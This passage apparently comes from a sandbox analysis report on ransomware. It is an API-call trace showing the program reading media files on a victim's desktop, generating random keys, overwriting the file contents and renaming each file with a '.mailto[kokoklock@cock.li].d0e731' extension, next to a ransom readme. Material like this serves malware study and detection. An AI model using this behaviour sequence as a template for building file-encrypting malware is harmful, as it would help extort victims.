lpNumberOfBytesWritten=0x17eff9d0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x17eff9d0*=0x4, lpOverlapped=0x0) returned 1 [0172.849] WriteFile (in: hFile=0x584, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x17eff9d0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x17eff9d0*=0x6c, lpOverlapped=0x0) returned 1 [0172.849] WriteFile (in: hFile=0x584, lpBuffer=0x30582c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17eff9d0, lpOverlapped=0x0 | out: lpBuffer=0x30582c8*, lpNumberOfBytesWritten=0x17eff9d0*=0x20, lpOverlapped=0x0) returned 1 [0172.850] WriteFile (in: hFile=0x584, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17eff9d0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x17eff9d0*=0x4, lpOverlapped=0x0) returned 1 [0172.850] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582c8) returned 1 [0172.850] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058430) returned 1 [0172.850] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.850] CloseHandle (hObject=0x584) returned 1 [0172.850] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc4940 [0172.850] wcscpy (in: _Dest=0x2fc4940, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731" [0172.850] wcscat (in: _Dest=0x2fc4940, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.850] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\385inggp6-.mkv.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\385inggp6-.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.851] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.851] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4940) returned 1 [0172.851] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.851] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x3013440 [0172.851] wcscpy (in: _Dest=0x3013440, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0172.851] wcscat (in: _Dest=0x3013440, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" [0172.851] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\d0e731-readme.txt")) returned 0x20 [0172.853] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013440) returned 1 [0172.853] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91920) returned 1 [0172.853] RtlExitUserThread (Status=0x1) Thread: id = 2079 os_tid = 0x1164 [0172.856] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\7-sb413tnkrcey-i.avi.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.856] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.856] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\7-sb413tnkrcey-i.avi.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0172.857] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x17f7f910 | out: lpFileSize=0x17f7f910*=59896) returned 1 [0172.857] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0xe9f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.857] ReadFile (in: hFile=0x584, lpBuffer=0x17f7f8e4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17f7f8e0, lpOverlapped=0x0 | out: lpBuffer=0x17f7f8e4*, lpNumberOfBytesRead=0x17f7f8e0*=0x4, lpOverlapped=0x0) returned 1 [0172.858] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.858] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.858] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.858] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057ee0 [0172.858] NtQuerySystemTime (in: CurrentTime=0x17f7f8bc | out: CurrentTime=0x17f7f8bc*=132121213301701985) returned 0x0 [0172.858] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0x5c40c9e [0172.858] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0x996d6a89 [0172.858] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0x9f26bd4d [0172.858] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0xb32ef26c [0172.858] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0xd6cb8a7d [0172.858] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0xa9bb668 [0172.858] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0x24b2cc85 [0172.858] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0xeb720d52 [0172.858] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0xed60a9ed [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0x31955126 [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0x9ebb2d4b [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0x5d43d72d [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0x9267487d [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0x995f95a4 [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0xd3790130 [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0xe0d4379 [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0x42c36830 [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0xb14cc2cc [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0x33e9fb79 [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0xf52b88d9 [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0x2b4b1e82 [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0xc6581d6a [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0x38b23148 [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0xed387003 [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0x3c99d45d [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0x2cd55170 [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0xe6e78b76 [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0x5dd313a7 [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0x769ed204 [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0x1a3d5e52 [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0xe6370 [0172.859] RtlRandom (in: Seed=0x17f7f8c8 | out: Seed=0x17f7f8c8) returned 0x85baa75f [0172.870] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582a0 [0172.872] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.872] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582c8 [0172.872] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.872] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.872] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.873] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.873] ReadFile (in: hFile=0x584, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x17f7f894, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x17f7f894*=0x4096, lpOverlapped=0x0) returned 1 [0172.873] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.873] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.873] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.873] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.873] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.874] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.874] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.874] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058430 [0172.874] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058430) returned 1 [0172.874] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.874] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.874] WriteFile (in: hFile=0x584, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x17f7f894, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x17f7f894*=0x4096, lpOverlapped=0x0) returned 1 [0172.874] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.875] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0xe9f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.875] WriteFile (in: hFile=0x584, lpBuffer=0x30580c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17f7f8cc, lpOverlapped=0x0 | out: lpBuffer=0x30580c0*, lpNumberOfBytesWritten=0x17f7f8cc*=0x20, lpOverlapped=0x0) returned 1 [0172.876] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30580c0) returned 1 [0172.876] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.876] WriteFile (in: hFile=0x584, lpBuffer=0x30582c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x17f7f8e0, lpOverlapped=0x0 | out: lpBuffer=0x30582c8*, lpNumberOfBytesWritten=0x17f7f8e0*=0x8, lpOverlapped=0x0) returned 1 [0172.876] WriteFile (in: hFile=0x584, lpBuffer=0x17f7f8f8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17f7f8e0, lpOverlapped=0x0 | out: lpBuffer=0x17f7f8f8*, lpNumberOfBytesWritten=0x17f7f8e0*=0x4, lpOverlapped=0x0) returned 1 [0172.876] WriteFile (in: hFile=0x584, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17f7f8e0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x17f7f8e0*=0x4, lpOverlapped=0x0) returned 1 [0172.876] WriteFile (in: hFile=0x584, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x17f7f8e0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x17f7f8e0*=0x6c, lpOverlapped=0x0) returned 1 [0172.876] WriteFile (in: hFile=0x584, lpBuffer=0x3058160*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17f7f8e0, lpOverlapped=0x0 | out: lpBuffer=0x3058160*, lpNumberOfBytesWritten=0x17f7f8e0*=0x20, lpOverlapped=0x0) returned 1 [0172.876] WriteFile (in: hFile=0x584, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17f7f8e0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x17f7f8e0*=0x4, lpOverlapped=0x0) returned 1 [0172.876] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0172.877] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582a0) returned 1 [0172.877] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582c8) returned 1 [0172.877] CloseHandle (hObject=0x584) returned 1 [0172.877] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf4) returned 0x2f85318 [0172.877] wcscpy (in: _Dest=0x2f85318, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731" [0172.877] wcscat (in: _Dest=0x2f85318, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.877] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\7-sb413tnkrcey-i.avi.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\7-sb413tnkrcey-i.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.878] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.878] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85318) returned 1 [0172.878] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\7-sB413tNKrcEy-i.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.878] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x3013350 [0172.878] wcscpy (in: _Dest=0x3013350, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0172.878] wcscat (in: _Dest=0x3013350, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" [0172.878] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\d0e731-readme.txt")) returned 0x20 [0172.878] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013350) returned 1 [0172.878] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9de30) returned 1 [0172.878] RtlExitUserThread (Status=0x1) Thread: id = 2080 os_tid = 0x1168 [0172.880] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\ap-sqn-sg1v.m4a.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.880] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.880] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\AP-sQn-sg1V.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\ap-sqn-sg1v.m4a.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0172.880] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x17fff7b4 | out: lpFileSize=0x17fff7b4*=93668) returned 1 [0172.880] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x16de0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.880] ReadFile (in: hFile=0x584, lpBuffer=0x17fff788, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17fff784, lpOverlapped=0x0 | out: lpBuffer=0x17fff788*, lpNumberOfBytesRead=0x17fff784*=0x4, lpOverlapped=0x0) returned 1 [0172.882] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.882] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582a0 [0172.882] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582c8 [0172.882] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058430 [0172.882] NtQuerySystemTime (in: CurrentTime=0x17fff760 | out: CurrentTime=0x17fff760*=132121213302014254) returned 0x0 [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x33450cb0 [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x69247ac7 [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x7588e26d [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x7724f87f [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x10f2112c [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x2243aabf [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x81c5de1f [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0xc62e78f6 [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x9d3646cb [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x5e2861e5 [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0xc48a1991 [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x5374c780 [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x60b48af4 [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x8d9b146c [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x96e71d10 [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x66d80ca [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x43d84708 [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x5c5a63aa [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0xde2f0f68 [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0xc77f9d5e [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x75633f3f [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x52d4dd2 [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x65a3ed0a [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0xed6be085 [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0xd1e7b8e8 [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x9fa797c3 [0172.882] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0xe0f5a87e [0172.883] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0xd16b10e [0172.883] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x7d6f5c6c [0172.883] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x6c63e9be [0172.883] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x8278fd7 [0172.883] RtlRandom (in: Seed=0x17fff76c | out: Seed=0x17fff76c) returned 0x48c7f0e [0172.891] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.893] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.893] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.893] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.894] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582a0) returned 1 [0172.894] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.894] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.894] ReadFile (in: hFile=0x584, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x17fff738, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x17fff738*=0x4096, lpOverlapped=0x0) returned 1 [0172.895] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.895] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.895] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.895] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582a0 [0172.895] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582a0) returned 1 [0172.895] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.895] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582a0 [0172.895] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0172.895] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0172.895] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.895] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.895] WriteFile (in: hFile=0x584, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x17fff738, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x17fff738*=0x4096, lpOverlapped=0x0) returned 1 [0172.900] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.900] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x16de4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.900] WriteFile (in: hFile=0x584, lpBuffer=0x30582a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17fff770, lpOverlapped=0x0 | out: lpBuffer=0x30582a0*, lpNumberOfBytesWritten=0x17fff770*=0x20, lpOverlapped=0x0) returned 1 [0172.900] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582a0) returned 1 [0172.900] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.900] WriteFile (in: 